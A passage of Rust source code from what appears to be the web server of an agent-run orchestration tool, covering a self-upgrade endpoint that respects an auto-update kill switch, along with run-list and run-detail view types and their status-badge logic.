3594        Ok(out) => {
3595            *ui.upgrade_request_error
3596                .lock()
3597                .unwrap_or_else(PoisonError::into_inner) = None;
3598            out.into_response()
3599        }
3600        Err(error) if error.status != StatusCode::CONFLICT => {
3601            let failure = UpgradeRequestFailure::new(error.message);
3602            *ui.upgrade_request_error
3603                .lock()
3604                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3605            let mut response = (error.status, Json(&failure)).into_response();
3606            if let Some(value) = failure
3607                .retry_after_secs
3608                .and_then(|secs| secs.to_string().parse().ok())
3609            {
3610                response.headers_mut().insert("retry-after", value);
3611            }
3612            response
3613        }
3614        Err(error) => error.into_response(),
3615    }
3616}
3617
3618async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3619    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3620        return Err(ApiError::conflict(
3621            "an upgrade is already in progress (this process started one and it \
3622             has not finished or failed yet)",
3623        ));
3624    }
3625    let recorded = updater::read_progress(&ui.home);
3626    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3627        return Err(ApiError::conflict(format!(
3628            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3629             stays stuck, restart the deck; on start it settles a stale record.",
3630            p.stage.as_str(),
3631            p.from,
3632            p.to.as_deref().unwrap_or("?"),
3633        )));
3634    }
3635
3636    // The same kill switch the background check honours (`disabled_by_env`),
3637    // checked before anything else for the same reason it is read before the
3638    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3639    // contact GitHub from this process", and a button press must not
3640    // override that any more than a broken `magi.toml` may.
3641    if crate::updater::disabled_by_env() {
3642        return Ok((
3643            StatusCode::OK,
3644            Json(UpgradeView {
3645                from: env!("CARGO_PKG_VERSION").to_owned(),
3646                to: None,
3647                detail: format!(
3648                    "Automatic updates are disabled by {}. Nothing was parked \
3649                     and nothing restarted.",
3650                    crate::updater::NO_AUTOUPDATE_ENV
3651                ),
3652            }),
3653        ));
3654    }
3655
3656    // Check before disturbing listeners or scheduling: no available update
3657    // means there is no reason to restart anything.
3658    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3659    let from = env!("CARGO_PKG_VERSION").to_owned();
3660    let latest = match crate::updater::Checker::new(&cfg.update) {
3661        Some(checker) => checker.newer_release().await,
3662        None => Ok(None),
3663    };
3664    upgrade_checked(ui, from, latest)
3665}
3666
3667fn upgrade_checked(
3668    ui: &Arc<Ui>,
3669    from: String,
3670    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3671) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3672    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3673}
3674
3675fn upgrade_checked_for(
3676    ui: &Arc<Ui>,
3677    from: String,
3678    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3679    trigger: updater::UpgradeTrigger,
3680) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3681    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3682    let Some(latest) = latest else {
3683        return Ok((
3684            StatusCode::OK,
3685            Json(UpgradeView {
3686                from,
3687                to: None,
3688                detail: "Already on the newest release. Nothing was parked \
3689                         and nothing restarted."
3690                    .to_owned(),
3691            }),
3692        ));
3693    };
3694
3695    if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3696        let detail = format!("cannot determine scheduler restart state: {error:#}");
3697        if trigger == updater::UpgradeTrigger::Auto {
3698            updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3699        }
3700        return Err(ApiError::internal(detail));
3701    }
3702    if trigger == updater::UpgradeTrigger::Auto {
3703        updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3704    }
3705
3706    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3707
3708    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3709    // poll must see a `Downloading` stage immediately, not whenever the
3710    // spawned task happens to get scheduled.
3711    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3712    progress.trigger = trigger;
3713    updater::write_progress_logged(&ui.home, &progress);
3714
3715    let home = ui.home.clone();
3716    ui.upgrade_spawned
3717        .store(true, std::sync::atomic::Ordering::SeqCst);
3718    let spawned = Arc::clone(&ui.upgrade_spawned);
3719    let runner = ui.upgrade_runner;
3720    let failed = ui.auto_failed_tag.clone();
3721    let tag = latest.tag_name.clone();
3722    tokio::spawn(async move {
3723        if let Err(e) = runner(home.clone()).await {
3724            if trigger == updater::UpgradeTrigger::Auto {
3725                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3726            }
3727            tracing::error!("the upgrade did not complete: {e:#}");
3728            // A failure of this attempt says nothing about a handover an
3729            // earlier request already has in flight; checked and written
3730            // under the progress lock.
3731            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3732            // Release only after failure bookkeeping, before accepting a retry.
3733            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3734        }
3735    });
3736
3737    Ok((
3738        StatusCode::ACCEPTED,
3739        Json(UpgradeView {
3740            from,
3741            to: Some(latest.tag_name),
3742            detail,
3743        }),
3744    ))
3745}
3746
3747/// Replace the binary, then ask [`serve`] to hand the address over.
3748///
3749/// Separated from the handler so the 202 is already on its way, and separated
3750/// from the spawn so the successor starts only after the listener is dropped.
3751async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3752    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3753    // hang the upgrade for as long as the process lives.
3754    crate::updater::run_self_update(true, false, true).await?;
3755    updater::log_step(&home, "binary replaced - recording the replaced stage");
3756    if let Some(mut progress) = updater::read_progress(&home) {
3757        progress.advance(updater::Stage::Replaced);
3758        updater::write_progress_logged(&home, &progress);
3759    }
3760    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3761    HANDOVER.notify_one();
3762    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3763    Ok(())
3764}
3765
3766/// One row in the run list.
3767///
3768/// The list route returns this rather than whole `RunState`s: the summary of a
3769/// run is a few hundred bytes and the state is megabytes, and the difference
3770/// is what makes the history usable on a mobile link.
3771#[derive(Debug, Serialize)]
3772struct RunSummary {
3773    activity: String,
3774    id: String,
3775    short: String,
3776    status: String,
3777    done: bool,
3778    instruction: String,
3779    title: String,
3780    repo: String,
3781    repo_name: String,
3782    created_at: String,
3783    updated_at: String,
3784    candidates: usize,
3785    viable: usize,
3786    judges: usize,
3787    winner: Option<char>,
3788    reviews: usize,
3789    quota_losses: usize,
3790    event: Option<String>,
3791    /// The later attempt at the same task that replaced this one, if any.
3792    ///
3793    /// Two cards with one title is otherwise unreadable: this is what lets
3794    /// the deck say "superseded by 4043" on the older of the pair.
3795    superseded_by: Option<String>,
3796    /// Blocked on a question nobody has answered.
3797    ///
3798    /// Derived from the question store rather than stored on the run: an agent
3799    /// calling `magi ask` blocks mid-node, and writing a status from there
3800    /// would race the graph's own save of `run.json` and be overwritten at the
3801    /// next node boundary. Asking the store is always true and never races.
3802    waiting: bool,
3803    /// Whether the process recorded as driving this run can still be proven
3804    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3805    /// rather than presenting its last graph node as still in flight.
3806    live: crate::run::Liveness,
3807    /// The land loop's last look at the pull request, when there is one.
3808    pr: Option<crate::run::PrRecord>,
3809    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3810    /// design — never picked up by the PR-polling merge watcher, unlike an
3811    /// ordinary `Ready` that may still be a live landing candidate. See
3812    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3813    /// re-deriving the same check from `status` and `merge.mode` itself.
3814    unmerged_by_design: bool,
3815    /// Derived presentation status matching [`RunDetailView::display_status`].
3816    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3817    #[serde(default)]
3818    display_status: String,
3819    /// What the status badge shows: `display_status`, or `superseded` for a
3820    /// non-live run a later attempt replaced. See [`run_badge_status`].
3821    #[serde(default)]
3822    badge_status: String,
3823    /// Who started the run, as the one label every surface shares; the
3824    /// "origin unknown" wording when the record predates origins.
3825    origin_label: String,
3826}
3827
3828impl RunSummary {
3829    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3830        Self {
3831            activity: crate::run_progress::activity(state, live, waiting),
3832            id: state.id.clone(),
3833            short: state.short().to_owned(),
3834            status: status_word(state.status),
3835            done: state.status.done(),
3836            unmerged_by_design: state.unmerged_by_design(),
3837            display_status: run_display_status(state, waiting, live),
3838            badge_status: run_display_status(state, waiting, live),
3839            instruction: state.instruction.clone(),
3840            title: title_from(&state.instruction, TITLE_MAX),
3841            repo: state.repo.display().to_string(),
3842            repo_name: state
3843                .repo
3844                .file_name()
3845                .map(|n| n.to_string_lossy().into_owned())
3846                .unwrap_or_default(),
3847            created_at: state.created_at.to_string(),
3848            updated_at: state.updated_at.to_string(),
3849            candidates: state.candidates.len(),
3850            viable: state.viable().len(),
3851            judges: state.config.graph.judges,
3852            winner: state.winner().map(|c| c.label),
3853            reviews: state.reviews.len(),
3854            quota_losses: state.quota.len(),
3855            event: state
3856                .verification_blocking_cause()
3857                .or_else(|| state.events.last().map(|e| e.message.clone())),
3858            waiting,
3859            live,
3860            // Filled in by the list route, which is the only place that can
3861            // see a task's other attempts.
3862            superseded_by: None,
3863            pr: state.pr.clone(),
3864            origin_label: crate::run::origin_label(state.origin.as_ref()),
3865        }
3866    }
3867}
3868
3869/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3870/// the same string `serde` writes for the status inside a full run.
3871fn status_word(status: RunStatus) -> String {
3872    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3873    // was a third way of naming the same statuses, and one that changed
3874    // silently with a derive.
3875    status.as_str().to_owned()
3876}
3877
3878/// The presentation status for a run, unified across summaries and details.
3879///
3880/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3881/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3882/// runs awaiting operator answers.
3883fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3884    if waiting {
3885        return "waiting".to_owned();
3886    }
3887    if state.unmerged_by_design() {
3888        return "unmerged".to_owned();
3889    }
3890    if !state.status.done() && live == crate::run::Liveness::Dead {
3891        // The driver claim clears this flag before saving another event.
3892        // A previous park event can therefore outlive a resumed driver.
3893        if state.parked {
3894            return "parked".to_owned();
3895        }
3896        return "stale".to_owned();
3897    }
3898    status_word(state.status)
3899}
3900
3901/// The word a run's status badge shows: `display_status`, except that a
3902/// non-terminal run which is not provably live and was replaced by a later
3903/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3904///
3905/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3906/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3907/// own word, so superseded never claims more than "not live".
3908fn run_badge_status(
3909    state: &RunState,
3910    display_status: &str,
3911    live: crate::run::Liveness,
3912    superseded: bool,
3913) -> String {
3914    if state.status.done() || live == crate::run::Liveness::Live {
3915        return display_status.to_owned();
3916    }
3917    if superseded {
3918        return "superseded".to_owned();
3919    }
3920    // A dead run's `display_status` is `stale`, except that a deliberate park
3921    // and an open owner question keep their own word: neither is a crash, and
3922    // the question still needs an answer. Anything else dead reads `stale`.
3923    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3924        return "stale".to_owned();
3925    }
3926    display_status.to_owned()
3927}
3928
3929/// `?limit=`, clamped by the handler.
3930#[derive(Debug, Deserialize)]
3931struct ListQuery {
3932    #[serde(default)]
3933    limit: Option<usize>,
3934    /// Exact ids only; an empty value requests no rows (except queue blockers).
3935    ids: Option<String>,
3936}
3937
3938impl ListQuery {
3939    fn contains(&self, id: &str) -> bool {
3940        self.ids
3941            .as_ref()
3942            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3943    }
3944}
3945
3946async fn runs_list(
3947    State(ui): State<Arc<Ui>>,
3948    Query(q): Query<ListQuery>,
3949) -> ApiResult<Json<Vec<RunSummary>>> {
3950    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3951    blocking(move || {
3952        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3953        let states = run_ids(&ui.runs)
3954            .into_iter()
3955            // A run whose state cannot be read is skipped, not fatal: a run
3956            // killed mid-write must not blank the history of every other one.
3957            // The detail route still explains it, which is where an operator
3958            // asking "what happened to that run" ends up.
3959            .filter_map(|id| read_run(&ui.runs, &id).ok())
3960            .take(limit)
3961            .filter(|run| q.contains(&run.id));
3962        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3963        let summaries = summarize(
3964            states,
3965            &open_runs,
3966            &claimed,
3967            &superseded,
3968            |p| probe.borrow_mut().status(p),
3969            |p| probe.borrow_mut().started_at(p),
3970        );
3971        Ok(Json(summaries))
3972    })
3973    .await
3974}
3975
3976/// Everything the per-run rows share, read once: runs with an open question,
3977/// runs a live daemon claims, and the superseded map. Asking per run re-read
3978/// every question file and the daemon status file for each of hundreds of
3979/// runs, and spawned a process probe per run on Windows.
3980fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3981    let open_runs: HashSet<String> = ui
3982        .questions
3983        .list()
3984        .into_iter()
3985        .filter(|q| q.status.open())
3986        .map(|q| q.run)
3987        .collect();
3988    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3989        .into_iter()
3990        .map(|c| c.run)
3991        .collect();
3992    (open_runs, claimed, ui.queue.superseded())
3993}
3994
3995/// The rows of the run list, given everything that is shared between them.
3996///
3997/// Pure over its inputs so a test can count how often the process queries are
3998/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3999/// takes, called at most once per run.
4000fn summarize<I, S, D>(
4001    states: I,
4002    open_runs: &HashSet<String>,
4003    claimed: &HashSet<String>,
4004    superseded: &HashMap<String, String>,
4005    mut status_q: S,
4006    mut identity_q: D,
4007) -> Vec<RunSummary>
4008where
4009    I: IntoIterator<Item = RunState>,
4010    S: FnMut(u32) -> Option<bool>,
4011    D: FnMut(u32) -> Option<String>,
4012{
4013    states
4014        .into_iter()
4015        .map(|state| {
4016            let waiting = open_runs.contains(&state.id);
4017            let live =
4018                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4019            let mut row = RunSummary::of(&state, waiting, live);
4020            row.superseded_by = state
4021                .pr_taken_over_by
4022                .as_ref()
4023                .or_else(|| superseded.get(&state.id))
4024                .map(String::as_str)
4025                .map(crate::run::short_of)
4026                .map(str::to_owned);
4027            row.badge_status = run_badge_status(
4028                &state,
4029                &row.display_status,
4030                live,
4031                row.superseded_by.is_some(),
4032            );
4033            row
4034        })
4035        .collect()
4036}
4037
4038/// A run as the detail route hands it to the phone.
4039///
4040/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4041/// the instruction as markdown, and the raw `instruction` field this struct
4042/// still carries (unchanged) is what a client wanting the exact bytes reads
4043/// instead.
4044#[derive(Debug, Serialize)]
4045struct RunDetailView {
4046    progress: crate::run_progress::Progress,
4047    stop_reason: Option<String>,
4048    #[serde(flatten)]
4049    state: RunState,
4050    instruction_md: Vec<md::Node>,
4051    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4052    /// mirror the records they come from, index for index; the raw strings
4053    /// stay in `state` and decide whether a block is shown at all.
4054    #[serde(flatten)]
4055    prose_md: RunProseMd,
4056    /// Whether a process is actually still driving this run: `"live"`,
4057    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4058    ///
4059    /// `state.active` (flattened in above) is only ever cleared by the
4060    /// process that populated it; a killed one leaves its last wave's
4061    /// entries behind. Carrying this alongside is what lets the phone rail
4062    /// tell "this seat is still answering" from "this seat was still
4063    /// answering when whatever was driving this run died" without a second
4064    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4065    /// proof of either. A string rather than a bool on purpose: a daemon
4066    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4067    /// and neither proven is `"unknown"` — folding that third case into
4068    /// either end of a bool is exactly the wrong call for a phone screen an
4069    /// operator uses to decide whether to wait or to act.
4070    live: crate::run::Liveness,
4071    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4072    /// alongside the flattened `state` rather than inside it, since
4073    /// `RunState` has no business knowing which of its own methods a caller
4074    /// wants serialized.
4075    unmerged_by_design: bool,
4076    /// Same field and meaning as [`RunSummary::waiting`].
4077    #[serde(default)]
4078    waiting: bool,
4079    /// Same derived presentation status as [`RunSummary::display_status`].
4080    #[serde(default)]
4081    display_status: String,
4082    /// Same field and meaning as [`RunSummary::badge_status`].
4083    #[serde(default)]
4084    badge_status: String,
4085    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4086    /// terminal. The client's `landView` keys on it, and the flattened state
4087    /// has no such field, so without it a finished run's stale `open` PR
4088    /// would be painted as live on the detail page.
4089    done: bool,
4090    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4091    /// route fills it from [`Queue::superseded`], the detail route from
4092    /// [`Queue::superseded_by`], and both read the same underlying task
4093    /// order. Without this the detail page could only ever show a red
4094    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4095    /// with nothing anywhere saying so — an operator opening it had no way
4096    /// to tell "this is done elsewhere" from "this still needs a retry".
4097    superseded_by: Option<String>,
4098    /// The task's current attempt, when this run is an older one — resolved
4099    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4100    /// the client to derive.
4101    ///
4102    /// Three things a client cannot safely do on its own drove this onto the
4103    /// server: it has to name the chain's *current head*, not just the next
4104    /// attempt (`superseded_by` above), because an intermediate retry in a
4105    /// longer chain can itself still be unresolved; it has to resolve to a
4106    /// real id rather than a short id a client would have to guess a full id
4107    /// from, which is ambiguous the moment two runs share a suffix; and it
4108    /// has to read that head's own status directly, because whether a run
4109    /// list a client happens to have cached even contains that attempt
4110    /// depends on a page limit this route knows nothing about.
4111    latest_attempt: Option<LatestAttempt>,
4112    /// The queue task this run belongs to, so the detail page can link back
4113    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4114    task: Option<TaskRef>,
4115    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4116    /// run recorded before origins existed. `origin` itself (flattened in
4117    /// with `state`) is `null` in that case.
4118    origin_label: String,
4119    /// Each recorded pass over this run, with the cause it stopped for. Empty
4120    /// for a run from before passes were kept: its earlier passes are unknown.
4121    pass_views: Vec<PassView>,
4122}
4123
4124/// A task named from a run's detail page.
4125#[derive(Debug, Serialize)]
4126struct TaskRef {
4127    id: String,
4128    short: String,
4129    title: String,
4130    /// [`Source::label`], e.g. `chat@a1b2`.
4131    source_label: String,
4132    /// Where the task came from, when that place has a page; see [`source_link`].
4133    source_link: Option<SourceLink>,
4134    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4135    status: &'static str,
4136    attempts: usize,
4137    max_attempts: usize,
4138    /// This run is the last entry of the task's run list.
4139    is_latest: bool,
4140    /// The task's newest run, when it is not this one.
4141    latest: Option<RunBrief>,
4142    /// The run that finished a `done` task (merged, or already in the base).
4143    finished_by: Option<RunBrief>,
4144    /// The task is `done` but no run on record finished it: closed by hand.
4145    closed_by_hand: bool,
4146}
4147
4148/// The page that filed a task, as the UI links to it.
4149#[derive(Debug, PartialEq, Eq, Serialize)]
4150struct SourceLink {
4151    /// `chat` (a conversation) or `run` (a run's node).
4152    kind: &'static str,
4153    /// The full id, never the short one in the label.
4154    id: String,
4155    /// The hash route that opens it.
4156    href: String,
4157}
4158
4159/// Percent-encode everything outside the URL-unreserved set.
4160fn encode_segment(raw: &str) -> String {
4161    let mut out = String::with_capacity(raw.len());
4162    for b in raw.bytes() {
4163        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4164            out.push(b as char);
4165        } else {
4166            out.push_str(&format!("%{b:02X}"));
4167        }
4168    }
4169    out
4170}
4171
4172/// The one place that decides where a task's source links to. A chat
4173/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4174/// a person or an imported issue has no page, so no link.
4175fn source_link(source: &Source) -> Option<SourceLink> {
4176    let Source::Agent { run, node } = source else {
4177        return None;
4178    };
4179    let (kind, route) = if node == crate::queue::CHAT_NODE {
4180        ("chat", "chat")
4181    } else {
4182        ("run", "runs")
4183    };
4184    Some(SourceLink {
4185        kind,
4186        id: run.clone(),
4187        href: id_links::page_href(route, run),
4188    })
4189}
4190
4191/// The parent task of a follow-up, when its file can still be read.
4192#[derive(Debug, Serialize, PartialEq)]
4193struct FollowUpParent {
4194    id: String,
4195    short: String,
4196    title: String,
4197    /// The parent's own status (`TaskStatus::as_str`).
4198    status: &'static str,
4199    href: String,
4200}
4201
4202/// The merged run a follow-up was filed from.
4203#[derive(Debug, Serialize, PartialEq)]
4204struct FollowUpRun {
4205    id: String,
4206    short: String,
4207    /// `None` when the run's record cannot be read.
4208    status: Option<&'static str>,
4209    /// `None` unless the record could be read: never a dead link.
4210    href: Option<String>,
4211}
4212
4213/// Where a follow-up task came from, resolved once per task page so the flow
4214/// chart and the detail block cannot disagree. See [`followup_origin`].
4215#[derive(Debug, Serialize, PartialEq)]
4216struct FollowUpOrigin {
4217    /// Present only when `origin_task` is set and that task still exists.
4218    parent: Option<FollowUpParent>,
4219    run: FollowUpRun,
4220    /// The merged pull request, verbatim. Not an href: the client passes it
4221    /// through `forgeUrl()` and renders text when that refuses it (the one
4222    /// exception to "the href rule is Rust's alone", since a forge URL is
4223    /// data from a record, not a route).
4224    pr: String,
4225    findings: Vec<String>,
4226    generation: u32,
4227}
4228
4229/// The one place that decides what a follow-up links to. A parent that cannot
4230/// be read (gone, or an id that names nothing) is `None`, never an error.
4231fn followup_origin(
4232    fu: &crate::queue::FollowUp,
4233    task: impl Fn(&str) -> Option<Task>,
4234    run: impl Fn(&str) -> Option<RunState>,
4235) -> FollowUpOrigin {
4236    let parent = fu
4237        .origin_task
4238        .as_deref()
4239        .and_then(task)
4240        .map(|t| FollowUpParent {
4241            short: t.short().to_owned(),
4242            href: format!("#/tasks/{}", encode_segment(&t.id)),
4243            status: t.status.as_str(),
4244            title: t.title,
4245            id: t.id,
4246        });
4247    let state = run(&fu.run);
4248    FollowUpOrigin {
4249        parent,
4250        run: FollowUpRun {
4251            short: run::short_of(&fu.run).to_owned(),
4252            status: state.as_ref().map(|s| s.status.as_str()),
4253            href: state
4254                .is_some()
4255                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4256            id: fu.run.clone(),
4257        },
4258        pr: fu.pr.clone(),
4259        findings: fu.findings.clone(),
4260        generation: fu.generation,
4261    }
4262}
4263
4264/// Another run of the same task, as named from a run's detail page.
4265#[derive(Debug, Serialize)]
4266struct RunBrief {
4267    id: String,
4268    short: String,
4269    /// `None` when the run's record cannot be read.
4270    status: Option<&'static str>,
4271    /// The task-page wording for how that pass ended.
4272    outcome: String,
4273    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4274    badge: Option<String>,
4275}
4276
4277/// The task's overall outcome as seen from `this_run`'s page, classified with
4278/// the same exits the task page's flowchart uses.
4279fn task_outcome(
4280    task: &Task,
4281    this_run: &str,
4282    max_attempts: usize,
4283    read: impl Fn(&str) -> Option<RunState>,
4284) -> TaskRef {
4285    let max_attempts = task.effective_attempt_limit(max_attempts);
4286    let history = task_history(task, read);
4287    let brief = |h: &TaskRunView| RunBrief {
4288        id: h.id.clone(),
4289        short: h.short.clone(),
4290        status: h.status,
4291        outcome: h.exit.edge_label(h.status),
4292        badge: h.badge.clone(),
4293    };
4294    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4295    let latest = if is_latest {
4296        None
4297    } else {
4298        history.last().map(brief)
4299    };
4300    let done = task.status == TaskStatus::Done;
4301    let finished_by = done
4302        .then(|| {
4303            history
4304                .iter()
4305                .rev()
4306                .find(|h| {
4307                    matches!(
4308                        h.exit,
4309                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4310                    )
4311                })
4312                .map(brief)
4313        })
4314        .flatten();
4315    TaskRef {
4316        short: task.short().to_owned(),
4317        title: task.title.clone(),
4318        id: task.id.clone(),
4319        source_label: task.source.label(),
4320        source_link: source_link(&task.source),
4321        status: task.status.as_str(),
4322        attempts: task.attempts,
4323        max_attempts,
4324        is_latest,
4325        latest,
4326        closed_by_hand: done && finished_by.is_none(),
4327        finished_by,
4328    }
4329}
4330
4331/// The task's current attempt, as seen from an older one's detail page.
4332#[derive(Debug, Serialize)]
4333struct LatestAttempt {
4334    id: String,
4335    short: String,
4336    /// Whether this attempt itself settled with a result nobody needs to
4337    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4338    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4339    /// unconfirmed claim that no change was needed, which is exactly why it
4340    /// settles the task through `Held` rather than `Done` and still waits on
4341    /// a human to check the evidence; showing an older run as "finished
4342    /// elsewhere" on the strength of an unverified claim would bury the
4343    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4344    /// in-flight status are excluded because they are exactly the
4345    /// unresolved states this field exists to tell apart from a real finish.
4346    resolved: bool,
4347    /// The attempt's own recorded status, so the page can say where it
4348    /// stands while it is not resolved yet.
4349    status: RunStatus,
4350    /// Whether that status is terminal (nothing is still running it).
4351    done: bool,
4352}
4353
4354/// Markdown for the free-text prose of a run, parallel to `RunState`.
4355#[derive(Debug, Default, Serialize)]
4356struct RunProseMd {
4357    /// `None` when the run has no design deliberation.
4358    advice_md: Option<AdviceMd>,
4359    /// One entry per candidate: the summary.
4360    candidate_summaries_md: Vec<Vec<md::Node>>,
4361    /// One entry per review round, in `reviews` order.
4362    reviews_md: Vec<RoundMd>,
4363}
4364
4365#[derive(Debug, Default, Serialize)]
4366struct AdviceMd {
4367    synthesis: Vec<md::Node>,
4368    /// One per record; empty for a seat with no proposal.
4369    approaches: Vec<Vec<md::Node>>,
4370}
4371
4372#[derive(Debug, Default, Serialize)]
4373struct RoundMd {
4374    /// One per reviewer record.
4375    reviewers: Vec<ReviewerMd>,
4376    /// One per `reconsideration` entry: the reason.
4377    reconsideration: Vec<Vec<md::Node>>,
4378    fix: Option<FixMd>,
4379}
4380
4381#[derive(Debug, Default, Serialize)]
4382struct ReviewerMd {
4383    summary: Vec<md::Node>,
4384    /// One per finding, in recorded order (not the display order).
4385    findings: Vec<Vec<md::Node>>,
4386}
4387
4388#[derive(Debug, Default, Serialize)]
4389struct FixMd {
4390    notes: Vec<md::Node>,
4391    /// One per rejection: the argument.
4392    rejected: Vec<Vec<md::Node>>,
4393}
4394
4395/// Parse a run's agent-written prose; a pure function of the state.
4396fn run_prose_md(state: &RunState) -> RunProseMd {
4397    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4398    RunProseMd {
4399        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4400            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4401            approaches: a
4402                .records
4403                .iter()
4404                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4405                .collect(),
4406        }),
4407        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4408        reviews_md: state
4409            .reviews
4410            .iter()
4411            .map(|round| RoundMd {
4412                reviewers: round
4413                    .reviews
4414                    .iter()
4415                    .map(|rec| ReviewerMd {
4416                        summary: nodes(&rec.summary),
4417                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4418                    })
4419                    .collect(),
4420                reconsideration: round
4421                    .reconsideration
4422                    .iter()
4423                    .map(|rv| nodes(&rv.reason))
4424                    .collect(),
4425                fix: round.fix.as_ref().map(|fix| FixMd {
4426                    notes: nodes(&fix.notes),
4427                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4428                }),
4429            })
4430            .collect(),
4431    }
4432}
4433
4434impl RunDetailView {
4435    fn of(
4436        state: RunState,
4437        waiting: bool,
4438        live: crate::run::Liveness,
4439        superseded_by: Option<String>,
4440        latest_attempt: Option<LatestAttempt>,
4441        task: Option<TaskRef>,
4442    ) -> Self {
4443        let display_status = run_display_status(&state, waiting, live);
4444        let stop_reason = crate::stop_reason::of(
4445            &state,
4446            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4447        );
4448        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4449        Self {
4450            progress: crate::run_progress::build(&state, live, waiting),
4451            stop_reason,
4452            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4453            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4454            prose_md: run_prose_md(&state),
4455            origin_label: crate::run::origin_label(state.origin.as_ref()),
4456            live,
4457            unmerged_by_design: state.unmerged_by_design(),
4458            waiting,
4459            display_status,
4460            badge_status,
4461            done: state.status.done(),
4462            superseded_by,
4463            latest_attempt,
4464            task,
4465            state,
4466        }
4467    }
4468}
4469
4470/// Core content needs neither the queue nor question/liveness evidence.
4471async fn run_core(
4472    State(ui): State<Arc<Ui>>,
4473    Path(id): Path<String>,
4474) -> ApiResult<Json<RunDetailView>> {
4475    blocking(move || {
4476        let id = resolve_run(&ui.runs, &id)?;
4477        let state = read_run(&ui.runs, &id)?;
4478        Ok(Json(RunDetailView::of(
4479            state,
4480            false,
4481            crate::run::Liveness::Unknown,
4482            None,
4483            None,
4484            None,
4485        )))
4486    })
4487    .await
4488}
4489
4490/// Lightweight observation: never replaces the evidence used by controls.
4491async fn run_progress(
4492    State(ui): State<Arc<Ui>>,
4493    Path(id): Path<String>,
4494) -> ApiResult<Json<serde_json::Value>> {
4495    blocking(move || {
